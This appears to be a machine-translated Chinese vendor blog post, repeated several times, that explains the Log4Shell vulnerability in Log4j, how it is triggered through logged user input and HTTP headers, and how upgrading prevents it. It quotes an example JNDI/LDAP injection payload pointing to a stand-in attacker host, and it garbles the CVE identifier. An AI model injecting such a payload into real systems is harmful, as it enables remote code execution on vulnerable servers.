
Log4j 漏洞详解-其攻击载体及其防范方法
12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。
想快速提升你处理 Log4Shell 的技能吗?
我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。
老新闻?
这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。
攻击向量
Log4Shell 的注入负载如下所示:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。
该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理 和 X 向前移动,以及其他标头,可以自定义以携带有效载荷。
要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”。
预防:意识
建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。
这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。
Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。
特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。
提升你防御 Log4Shell 的技能
有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。


2021 年 12 月,Java 库 Log4j 中披露了一个严重的安全漏洞 Log4Shell。在本文中,我们将 Log4Shell 漏洞分解为最简单的形式,便于你掌握基础知识,并向你介绍一个任务——一个游乐场,你可以利用对该漏洞的了解尝试利用模拟网站进行攻击。

Secure Code Warrior可以帮助您的组织在整个软件开发生命周期中保护代码,并营造一种将网络安全放在首位的文化。无论您是 AppSec 经理、开发人员、首席信息安全官还是任何与安全相关的人,我们都可以帮助您的组织降低与不安全代码相关的风险。
预订演示Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.


12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。
想快速提升你处理 Log4Shell 的技能吗?
我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。
老新闻?
这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。
攻击向量
Log4Shell 的注入负载如下所示:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。
该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理 和 X 向前移动,以及其他标头,可以自定义以携带有效载荷。
要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”。
预防:意识
建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。
这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。
Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。
特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。
提升你防御 Log4Shell 的技能
有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。

12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。
想快速提升你处理 Log4Shell 的技能吗?
我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。
老新闻?
这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。
攻击向量
Log4Shell 的注入负载如下所示:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。
该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理 和 X 向前移动,以及其他标头,可以自定义以携带有效载荷。
要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”。
预防:意识
建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。
这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。
Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。
特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。
提升你防御 Log4Shell 的技能
有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。

点击下面的链接并下载此资源的PDF。
Secure Code Warrior可以帮助您的组织在整个软件开发生命周期中保护代码,并营造一种将网络安全放在首位的文化。无论您是 AppSec 经理、开发人员、首席信息安全官还是任何与安全相关的人,我们都可以帮助您的组织降低与不安全代码相关的风险。
查看报告预订演示Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。
想快速提升你处理 Log4Shell 的技能吗?
我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。
老新闻?
这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。
攻击向量
Log4Shell 的注入负载如下所示:
$ {jndi: ldap: //attacker.host/xyz}
要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。
接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。
该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理 和 X 向前移动,以及其他标头,可以自定义以携带有效载荷。
要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”。
预防:意识
建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。
在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。
这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。
Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。
特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。
提升你防御 Log4Shell 的技能
有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。
帮助您入门的资源
Threat Modeling with AI: Turning Every Developer into a Threat Modeler
Walk away better equipped to help developers combine threat modeling ideas and techniques with the AI tools they're already using to strengthen security, improve collaboration, and build more resilient software from the start.




%20(1).avif)
.avif)
